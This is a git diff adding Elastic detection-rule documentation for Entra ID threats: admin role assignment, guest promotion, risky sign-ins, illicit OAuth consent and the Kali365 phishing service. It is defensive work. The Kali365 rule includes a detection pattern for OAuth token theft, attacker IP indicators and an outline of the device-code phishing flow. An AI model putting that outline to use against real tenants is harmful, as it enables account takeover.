+* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 109 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Global Administrator Role Assigned* + + +Microsoft Entra ID's Global Administrator role grants comprehensive access to manage Microsoft Entra ID and associated services. Adversaries may exploit this by assigning themselves or others to this role, ensuring persistent control over resources. The detection rule identifies such unauthorized assignments by monitoring specific audit logs for role changes, focusing on the addition of members to the Global Administrator role, thus helping to mitigate potential security breaches. + + +*Possible investigation steps* + + +- Review the Microsoft Entra ID audit logs to identify the user account that performed the "Add member to role" operation, focusing on the specific event dataset and operation name. +- Verify the identity of the user added to the Global Administrator role by examining the modified properties in the audit logs, specifically the new_value field indicating "Global Administrator". +- Check the history of role assignments for the identified user to determine if this is a recurring pattern or a one-time event. +- Investigate the source IP address and location associated with the role assignment event to assess if it aligns with expected user behavior or if it indicates potential unauthorized access. +- Review any recent changes or activities performed by the newly assigned Global Administrator to identify any suspicious actions or configurations that may have been altered. +- Consult with the organization's IT or security team to confirm if the role assignment was authorized and aligns with current administrative needs or projects. +- Correlate with Microsoft Entra ID sign-in logs to check for any unusual login patterns or failed login attempts associated with the user who assigned the role. +- Review the reported device to determine if it is a known and trusted device or if it raises any security concerns such as unexpected relationships with the source user. + + +*False positive analysis* + + +- Routine administrative tasks may trigger alerts when legitimate IT staff are assigned the Global Administrator role temporarily for maintenance or configuration purposes. To manage this, create exceptions for known IT personnel or scheduled maintenance windows. +- Automated scripts or third-party applications that require elevated permissions might be flagged if they are configured to add users to the Global Administrator role. Review and whitelist these scripts or applications if they are verified as safe and necessary for operations. +- Organizational changes, such as mergers or restructuring, can lead to legitimate role assignments that appear suspicious. Implement a review process to verify these changes and exclude them from triggering alerts if they align with documented organizational changes. +- Training or onboarding sessions for new IT staff might involve temporary assignment to the Global Administrator role. Establish a protocol to document and exclude these training-related assignments from detection alerts. + + +*Response and remediation* + + +- Immediately remove any unauthorized users from the Global Administrator role to prevent further unauthorized access and control over Azure AD resources. +- Conduct a thorough review of recent audit logs to identify any additional unauthorized changes or suspicious activities associated with the compromised account or role assignments. +- Reset the credentials of the affected accounts and enforce multi-factor authentication (MFA) to enhance security and prevent further unauthorized access. +- Notify the security operations team and relevant stakeholders about the incident for awareness and further investigation. +- Implement conditional access policies to restrict Global Administrator role assignments to specific, trusted locations or devices. +- Review and update role assignment policies to ensure that only a limited number of trusted personnel have the ability to assign Global Administrator roles. +- Enhance monitoring and alerting mechanisms to detect similar unauthorized role assignments in the future, ensuring timely response to potential threats. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.auditlogs and + azure.auditlogs.properties.category:RoleManagement and + azure.auditlogs.operation_name:"Add member to role" and + azure.auditlogs.properties.target_resources.*.modified_properties.*.new_value: "\"Global Administrator\"" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-guest-account-promoted-to-member.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-guest-account-promoted-to-member.asciidoc new file mode 100644 index 0000000000..cdb474c810 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-guest-account-promoted-to-member.asciidoc @@ -0,0 +1,118 @@ +[[prebuilt-rule-8-19-34-entra-id-guest-account-promoted-to-member]] +=== Entra ID Guest Account Promoted to Member + +Identifies Entra ID user accounts converted from Guest to Member type via an Update user operation. A Guest-to-Member conversion grants the account full directory read access, removes external-identity Conditional Access restrictions, and makes the account indistinguishable from an internal employee. An attacker who compromises a guest account and promotes it to Member type gains persistent tenant access without triggering role assignment alerts. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/external-id/user-properties +* https://learn.microsoft.com/en-us/entra/identity/users/convert-external-users-internal + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 2 + +*Rule authors*: + +* Elastic +* descambiado + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Guest Account Promoted to Member* + + +A Guest-to-Member UserType conversion is a rarely needed, high-impact operation that removes all +guest account restrictions. In most tenants it occurs fewer than once per month. + + +*Possible investigation steps* + + +- Identify the administrator who performed the conversion (`azure.auditlogs.properties.initiated_by`) + and verify whether the action was authorized. +- Check when the guest account was originally invited: look for "Invite external user" in AuditLogs + with the same target object ID. +- Review post-conversion sign-in activity in `azure.signinlogs.*` for the target account -- look for + directory enumeration patterns (access to Graph API `/users`, `/groups`, `/applications`). +- Check whether the converting actor's role was recently granted and whether other high-privilege + operations were performed around the same time. + + +*False positive analysis* + + +- Planned B2B-to-member migrations coordinated by HR or IT should be documented in change records. + Confirm via ticket correlation before closing. + + +*Response and remediation* + + +- Revert the UserType to Guest if unauthorized: Entra ID > Users > Edit properties. +- Revoke all sessions for the affected account. +- Review all directory objects the account accessed after the conversion. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset: "azure.auditlogs" and +azure.auditlogs.operation_name: "Update user" and +azure.auditlogs.properties.target_resources.*.modified_properties.*.display_name: "UserType" and +azure.auditlogs.properties.target_resources.*.modified_properties.*.old_value: *Guest* and +azure.auditlogs.properties.target_resources.*.modified_properties.*.new_value: *Member* and +event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-high-risk-sign-in.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-high-risk-sign-in.asciidoc new file mode 100644 index 0000000000..a1ca74153d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-high-risk-sign-in.asciidoc @@ -0,0 +1,131 @@ +[[prebuilt-rule-8-19-34-entra-id-high-risk-sign-in]] +=== Entra ID High Risk Sign-in + +Identifies high risk Microsoft Entra ID sign-ins by leveraging Microsoft's Identity Protection machine learning and heuristics. Identity Protection categorizes risk into three tiers: low, medium, and high. While Microsoft does not provide specific details about how risk is calculated, each level brings higher confidence that the user or sign-in is compromised. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/howto-conditional-access-policy-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Platform: Entra ID + +*Version*: 114 + +*Rule authors*: + +* Elastic +* Willem D'Haese + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID High Risk Sign-in* + + +This rule detects high-risk sign-ins in Microsoft Entra ID as identified by Identity Protection. These sign-ins are flagged with a risk level of `high` during the authentication process, indicating a strong likelihood of compromise based on Microsoft's machine learning and heuristics. This alert is valuable for identifying accounts under active attack or compromise using valid credentials. + + +*Possible investigation steps* + + +- Review the `azure.signinlogs.properties.user_id` and associated identity fields to determine the impacted user. +- Inspect the `risk_level_during_signin` field and confirm it is set to `high`. If `risk_level_aggregated` is also present and high, this suggests sustained risk across multiple sign-ins. +- Check `source.ip`, `source.geo.country_name`, and `source.as.organization.name` to evaluate the origin of the sign-in attempt. Flag unexpected geolocations or ASNs (e.g., anonymizers or residential ISPs). +- Review the `device_detail` fields such as `operating_system` and `browser` for new or unrecognized devices. +- Validate the `client_app_used` (e.g., legacy protocols, desktop clients) and `app_display_name` (e.g., Office 365 Exchange Online) to assess if risky legacy methods were involved. +- Examine `applied_conditional_access_policies` to verify if MFA or blocking policies were triggered or bypassed. +- Check `authentication_details.authentication_method` to see if multi-factor authentication was satisfied (e.g., "Mobile app notification"). +- Correlate this activity with other alerts or sign-ins from the same account within the last 24–48 hours. +- Contact the user to confirm if the sign-in was expected. If not, treat the account as compromised and proceed with containment. + + +*False positive analysis* + + +- Risky sign-ins may be triggered during legitimate travel, VPN use, or remote work scenarios from unusual locations. +- In some cases, users switching devices or networks rapidly may trigger high-risk scores. +- Automated scanners or penetration tests using known credentials may mimic high-risk login behavior. +- Sign-ins already marked `risk_state` as `remediated`, `dismissed`, or `confirmedSafe` by Microsoft Identity Protection are excluded; failed attempts with no aggregated risk and no active risk state are also excluded. + + +*Response and remediation* + + +- If compromise is suspected, immediately disable the user account and revoke active sessions and tokens. +- Initiate credential reset and ensure multi-factor authentication is enforced. +- Review audit logs and sign-in history for the account to assess lateral movement or data access post sign-in. +- Inspect activity on services such as Exchange, SharePoint, or Azure resources to understand the impact. +- Determine if the attacker leveraged other accounts or escalated privileges. +- Use the incident findings to refine conditional access policies, such as enforcing MFA for high-risk sign-ins or blocking legacy protocols. +- Review and tighten policies that allow sign-ins from high-risk geographies or unknown devices. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs and + ( + azure.signinlogs.properties.risk_level_during_signin:high or + azure.signinlogs.properties.risk_level_aggregated:high + ) and + not (event.outcome:failure and azure.signinlogs.properties.risk_level_aggregated:none and azure.signinlogs.properties.risk_state:none) and + not azure.signinlogs.properties.risk_state:(remediated or dismissed or confirmedSafe) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-high-risk-user-sign-in-heuristic.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-high-risk-user-sign-in-heuristic.asciidoc new file mode 100644 index 0000000000..97515d685b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-high-risk-user-sign-in-heuristic.asciidoc @@ -0,0 +1,133 @@ +[[prebuilt-rule-8-19-34-entra-id-high-risk-user-sign-in-heuristic]] +=== Entra ID High Risk User Sign-in Heuristic + +Identifies high risk Azure Active Directory (AD) sign-ins by leveraging Microsoft Identity Protection machine learning and heuristics. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.signinlogs-* +* filebeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/overview-identity-protection +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk +* https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/howto-identity-protection-investigate-risk#investigation-framework + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Noise: Medium +* Performance: Fast +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Domain: Identity + +*Version*: 111 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID High Risk User Sign-in Heuristic* + + +Microsoft Identity Protection is an Azure AD security tool that detects various types of identity risks and attacks. + +This rule identifies events produced by the Microsoft Identity Protection with a risk state equal to `confirmedCompromised` or `atRisk`. + + +*Possible investigation steps* + + +- Identify the Risk Detection that triggered the event. A list with descriptions can be found https://docs.microsoft.com/en-us/azure/active-directory/identity-protection/concept-identity-protection-risks#risk-types-and-detection[here]. +- Identify the user account involved and validate whether the suspicious activity is normal for that user. + - Consider the source IP address and geolocation for the involved user account. Do they look normal? + - Consider the device used to sign in. Is it registered and compliant? +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account owner and confirm whether they are aware of this activity. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +If this rule is noisy in your environment due to expected activity, consider adding exceptions — preferably with a combination of user and device conditions. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Check if unauthorized new users were created, remove unauthorized new accounts, and request password resets for other IAM users. +- Consider enabling multi-factor authentication for users. +- Follow security best practices https://docs.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices[outlined] by Microsoft. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.signinlogs and + azure.signinlogs.properties.risk_state:("confirmedCompromised" or "atRisk") and event.outcome:(success or Success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-illicit-consent-grant-via-registered-application.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-illicit-consent-grant-via-registered-application.asciidoc new file mode 100644 index 0000000000..06f946bf5d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-illicit-consent-grant-via-registered-application.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-34-entra-id-illicit-consent-grant-via-registered-application]] +=== Entra ID Illicit Consent Grant via Registered Application + +Identifies an illicit consent grant request on-behalf-of a registered Entra ID application. Adversaries may create and register an application in Microsoft Entra ID for the purpose of requesting user consent to access resources. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources on-behalf-of the user. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide +* https://www.cloud-architekt.net/detection-and-mitigation-consent-grant-attacks-azuread/ +* https://docs.microsoft.com/en-us/defender-cloud-apps/investigate-risky-oauth#how-to-detect-risky-oauth-apps + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Tactic: Credential Access +* Noise: Medium +* Performance: Fast +* Profile: Recommended +* Threat: OAuth App Consent +* Rule Type: ES|QL +* Platform: Entra ID + +*Version*: 222 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Illicit Consent Grant via Registered Application* + + +Adversaries may register a malicious application in Microsoft Entra ID and trick users into granting excessive permissions via OAuth consent. These applications can access sensitive data—such as mail, profiles, or files—on behalf of the user once consent is granted. This is commonly delivered via spearphishing links that prompt users to approve permissions for seemingly legitimate applications. + +This rule identifies a new consent grant event based on Azure audit logs where a user or admin granted consent to an application. + +This rule uses ES|QL aggregation-based new terms logic with a 7-day history window. It extracts the AppId from the multi-valued additional_details array using MV_EXPAND and UUID regex filtering, then alerts when the user-application pair is first seen within the last 9 minutes. Alerts are suppressed by AppId and user principal name for 6 hours. Each distinct user-application pair therefore produces a single alert, preserving per-victim visibility: an application consented to by multiple users raises one alert per user, so the spread of a consent phishing campaign remains visible in the alert list. + + +*Possible investigation steps* + + +- Review `azure.auditlogs.properties.additional_details.value` to identify the AppId and User-Agent values to determine which application was granted access and how the request was initiated. Pivot on the AppId in the Azure portal under Enterprise Applications to investigate further. +- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` to identify the user who approved the application. Investigate their recent activity for signs of phishing, account compromise, or anomalous behavior during the timeframe of the consent. +- Review `azure.auditlogs.properties.initiated_by.user.ipAddress` to assess the geographic source of the consent action. Unexpected locations or IP ranges may indicate adversary-controlled infrastructure. +- Review `azure.auditlogs.properties.target_resources.display_name` to evaluate whether the application name is familiar, expected, or potentially spoofing a known service. +- Review `azure.auditlogs.properties.target_resources.modified_properties.display_name` to inspect key indicators of elevated privilege or risk, including: + - ConsentContext.IsAdminConsent to determine if the application was granted tenant-wide admin access. + - ConsentContext.OnBehalfOfAll to identify whether the app was granted permissions on behalf of all users in the tenant. + - ConsentAction.Permissions to evaluate the specific scopes and data access the application requested. Scope combinations such as `offline_access` with `Mail.ReadWrite`, `Files.ReadWrite.All`, or `Chat.Read` are characteristic of mailbox and file exfiltration. + - ConsentAction.Reason to determine whether Microsoft's own risk heuristics flagged the application. A value of `Risky application detected` means Microsoft scored the app as suspicious at the time consent was granted and should raise the priority of the review. Note this reason is only populated on admin-consent events, and its absence does not clear the application; a flagged app is also not necessarily malicious, since Microsoft's heuristic can flag legitimate apps. + - TargetId.ServicePrincipalNames to confirm the service principal associated with the granted permissions. +- Review `azure.tenant_id` to confirm the activity originated from your tenant and is not related to a cross-tenant application. +- Review `@timestamp` and `azure.auditlogs.properties.correlation_id` to pivot into related sign-in, token usage, or application activity for further context. + + +*False positive analysis* + + +- Some applications may request high-privilege scopes for legitimate purposes. Validate whether the application is verified, developed by Microsoft, or approved internally by your organization. +- Review publisher verification, app ownership, and scope alignment with the intended business use case. +- A `ConsentAction.Reason` of `Risky application detected` raises confidence that the consent is worth investigating, but Microsoft's risk heuristic is advisory and can flag legitimate applications (including internal line-of-business apps and newly registered tenant applications). Conversely, the absence of the flag does not make the consent benign, so weigh it alongside the requested scopes, admin-consent context, and the application's home tenant rather than in isolation. + + +*Response and remediation* + + +- Revoke the application’s OAuth grant using Graph API or PowerShell. Use the Remove-AzureADOAuth2PermissionGrant cmdlet. +- Remove the associated service principal from Azure AD. +- Reset credentials or revoke tokens for affected users. +- Block the application via Conditional Access or Defender for Cloud Apps policies. +- Enable the Admin Consent Workflow in Azure AD to prevent unsanctioned user approvals in the future. +- Report any malicious applications to Microsoft to protect other tenants. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-azure.auditlogs-* metadata _id, _version, _index +| WHERE (azure.auditlogs.operation_name == "Consent to application" + OR event.action == "Consent to application") + AND event.outcome == "success" + +| MV_EXPAND azure.auditlogs.properties.additional_details.value +| WHERE azure.auditlogs.properties.additional_details.value + RLIKE "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" +| RENAME azure.auditlogs.properties.additional_details.value AS Esql.app_id + +| STATS + Esql.timestamp_first_seen = MIN(@timestamp), + Esql.timestamp_last_seen = MAX(@timestamp), + Esql.app_display_name_values = VALUES(`azure.auditlogs.properties.target_resources.0.display_name`), + Esql.service_principal_id_values = VALUES(`azure.auditlogs.properties.target_resources.0.id`), + Esql.is_admin_consent_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value`), + Esql.is_app_only_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value`), + Esql.on_behalf_of_all_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.2.new_value`), + Esql.consent_context_tags_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value`), + Esql.consent_permissions_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.4.new_value`), + Esql.consent_reason_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.5.new_value`), + Esql.user_id_values = VALUES(azure.auditlogs.properties.initiated_by.user.id), + Esql.ip_address_values = VALUES(azure.auditlogs.properties.initiated_by.user.ipAddress), + Esql.tenant_id_values = VALUES(azure.tenant_id), + Esql.correlation_id_values = VALUES(azure.auditlogs.properties.correlation_id), + Esql.event_count = COUNT(*) + BY azure.auditlogs.properties.initiated_by.user.userPrincipalName, Esql.app_id + +| WHERE Esql.timestamp_first_seen >= NOW() - 9 minutes +| KEEP Esql.*, azure.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-kali365-default-user-agent-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-kali365-default-user-agent-detected.asciidoc new file mode 100644 index 0000000000..9cd362ade1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-entra-id-kali365-default-user-agent-detected.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-34-entra-id-kali365-default-user-agent-detected]] +=== Entra ID Kali365 Default User-Agent Detected + +Identifies the default user agent string associated with Kali365 (also referred to as Kali365 Live), a phishing-as-a-service (PhaaS) platform that automates OAuth 2.0 device code phishing and adversary-in-the-middle (AiTM) session capture against Microsoft 365 and Microsoft Entra ID. The Kali365 Electron desktop client identifies itself with the user agent `kali365-live/1.0.0` when polling for and replaying captured OAuth tokens, so its appearance in Entra ID sign-in logs, Entra ID audit logs, or the Microsoft 365 unified audit log indicates that an attacker-controlled Kali365 client is interacting with the tenant using stolen tokens. Unlike dual-use offensive tooling, Kali365 is a criminal service with no legitimate enterprise use, making this user agent a high-fidelity indicator of active account compromise. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* +* logs-azure.signinlogs-* +* logs-o365.audit-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://arcticwolf.com/resources/blog/token-bingo-dont-let-your-code-be-the-winner/ +* https://www.ic3.gov/PSA/2026/PSA260521 + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-In Logs +* Data Source: Microsoft Entra ID Audit Logs +* Data Source: Microsoft 365 +* Data Source: Microsoft 365 Audit Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Threat: Kali365 +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide +* Noise: Unknown +* Performance: Normal +* Profile: Recommended +* Threat: AiTM Phishing +* Rule Type: Custom Query (KQL) +* Platform: Entra ID +* Platform: Microsoft 365 +* Domain: SaaS +* Domain: Email + +*Version*: 2 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Kali365 Default User-Agent Detected* + + +Kali365 (Kali365 Live) is a phishing-as-a-service platform distributed via Telegram that provides affiliates with +AI-generated lures, automated device code phishing campaigns, target-tracking dashboards, and OAuth token capture. The +typical flow is: a lure delivers a Microsoft device code, the victim enters it on the legitimate Microsoft verification +page and unknowingly authorizes the attacker, Kali365 captures the resulting OAuth access and refresh tokens, and the +attacker uses those tokens for persistent, MFA-free access to Microsoft 365 (Outlook, Teams, OneDrive). + +The Kali365 desktop client presents the user agent `kali365-live/1.0.0`. This rule fires when that user agent is observed +in Entra ID sign-in logs, Entra ID audit logs, or the Microsoft 365 unified audit log. Because the user agent maps to a +criminal service with no legitimate use, an alert generally indicates that stolen tokens are already being replayed +against the tenant. + + +*Possible investigation steps* + + +- Confirm the tool and identify the affected identity. + - `user_agent.original` matches `kali365-live/*`. + - Pivot on `user.name`, `azure.signinlogs.properties.user_principal_name`, or the M365 audit `user.id`. +- Review the origin and compare against the user's normal sign-in behavior. + - `source.ip`, `source.geo.*`, and `source.as.organization.name`; flag hosting/VPS ASNs and unexpected geographies. + - Cross-reference published Kali365 infrastructure (`216.203.20.95`, `162.243.166.119`, `199.91.220.111`). +- Confirm the device code grant in sign-in logs. + - `azure.signinlogs.properties.authentication_protocol` is `deviceCode`. + - Review `app_id`/`app_display_name` and `resource_display_name` for the brokered mail or collaboration API. +- Scope follow-on access in the Microsoft 365 unified audit log for the same user and timeframe. + - Look for mailbox access, inbox rule creation, OneDrive/SharePoint downloads, or Teams activity from the same session or IP. +- Check the Entra ID audit log for a device registration by the same identity around the alert window. + - A `Register device` event by the identity paired (via `azure.correlation_id`) with an `Add device` event from the `Device Registration Service` indicates a Primary Refresh Token (PRT) was issued for persistence that survives password resets. + + +*False positive analysis* + + +- This user agent has no legitimate enterprise use. + - The only expected matches are authorized security research or red team exercises running the Kali365 client; validate and document before dismissing. + + +*Response and remediation* + + +- Remove rogue device registrations created by the user BEFORE revoking sessions. + - Device-bound PRTs survive `revokeSignInSessions`, so a device left in place re-establishes access. + - `GET /v1.0/users/{id}/registeredDevices` and `/ownedDevices`, then `DELETE /v1.0/devices/{deviceObjectId}` for unrecognized devices. +- Revoke refresh tokens and sessions, then reset credentials and re-register MFA. + - `POST /v1.0/users/{id}/revokeSignInSessions`. +- Temporarily disable the account if you need to halt activity during investigation. + - `PATCH /v1.0/users/{id}` with body `{"accountEnabled": false}`. +- Remove other attacker persistence: malicious inbox/forwarding rules, OAuth consents, and app passwords. +- Block or monitor Kali365 source IPs and infrastructure, and hunt for the user agent across other users and tenants. +- Apply Conditional Access to the device code grant. + - Require a managed/compliant device, or block the device-code flow outside approved app and user populations. + + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : ("azure.signinlogs" or 